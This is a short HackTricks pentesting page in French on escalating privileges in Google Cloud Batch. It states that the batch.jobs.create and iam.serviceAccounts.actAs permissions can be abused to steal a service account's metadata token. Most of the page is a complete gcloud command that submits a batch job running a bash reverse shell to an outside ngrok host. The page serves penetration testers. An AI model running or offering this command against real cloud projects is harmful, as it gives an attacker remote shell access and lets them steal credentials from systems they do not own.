GCP - Batch Privesc

Support HackTricks

Batch

Informations de base :

batch.jobs.create, iam.serviceAccounts.actAs

Il est possible de créer un job batch, d'obtenir un shell inversé et d'exfiltrer le token de métadonnées du SA (SA de calcul par défaut).

gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
{
"name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub",
"taskGroups": [
{
"taskCount": "1",
"parallelism": "1",
"taskSpec": {
"computeResource": {
"cpuMilli": "1000",
"memoryMib": "512"
},
"runnables": [
{
"script": {
"text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n"
}
}
],
"volumes": []
}
}
],
"allocationPolicy": {
"instances": [
{
"policy": {
"provisioningModel": "STANDARD",
"machineType": "e2-micro"
}
}
]
},
"logsPolicy": {
"destination": "CLOUD_LOGGING"
}
}
EOD
Soutenir HackTricks

Last updated